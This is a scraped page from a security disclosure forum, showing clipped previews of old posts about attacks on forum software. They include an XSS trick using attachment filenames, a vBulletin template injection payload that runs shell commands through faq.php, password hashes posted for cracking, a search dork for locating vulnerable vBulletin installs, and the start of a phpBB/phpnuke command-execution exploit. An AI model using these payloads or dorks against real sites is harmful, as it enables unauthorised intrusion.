|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 62
Members: 0
Total: 62
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
|
fresh XSS bug
----------------
1) filename is not sanitize when send attachement .. can insert html code .. but can't have filename with "/"
2) change mime-type to "Text/html" for easy XSS attack ... |
|
|
|
|
just edit any template example "faq" insert "${${system($cmd)}}" and request http://<forum>/faq.php?cmd=<command> |
|
|
|
|
can you try this ..
952d4282d03225cebbe16b27f873e19b
d31959f62f6955a47420d4d4069f4fdc
04e11bfe3e3a85f36842a13b540ef913
c1d87c003a17240abdc43505fc015580
ae21370e3292d3adfe5fbdbe6c9d702d |
|
|
|
|
* 1st condition : $vboptions
searching something like this `inurl:"forumdisplay" +"Currently Active Users" +"vBulletin Version 3.0.3"` in google will help find one.
You can create the third con ... |
|
|
|
|
Just want to share old stuff
#!/usr/bin/php -q
<?php
/*
# phpnuke + phpBB 2.0.10 execute command by pokleyzz <pokleyzz at scan-associates.net>
# 15th November 2004 : 4:04 ... |
|
|
|
|
http://www.securityfocus.com/archive/attachment/390667/2/ |
|
|
Page 1 of 1 |
All times are GMT |
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|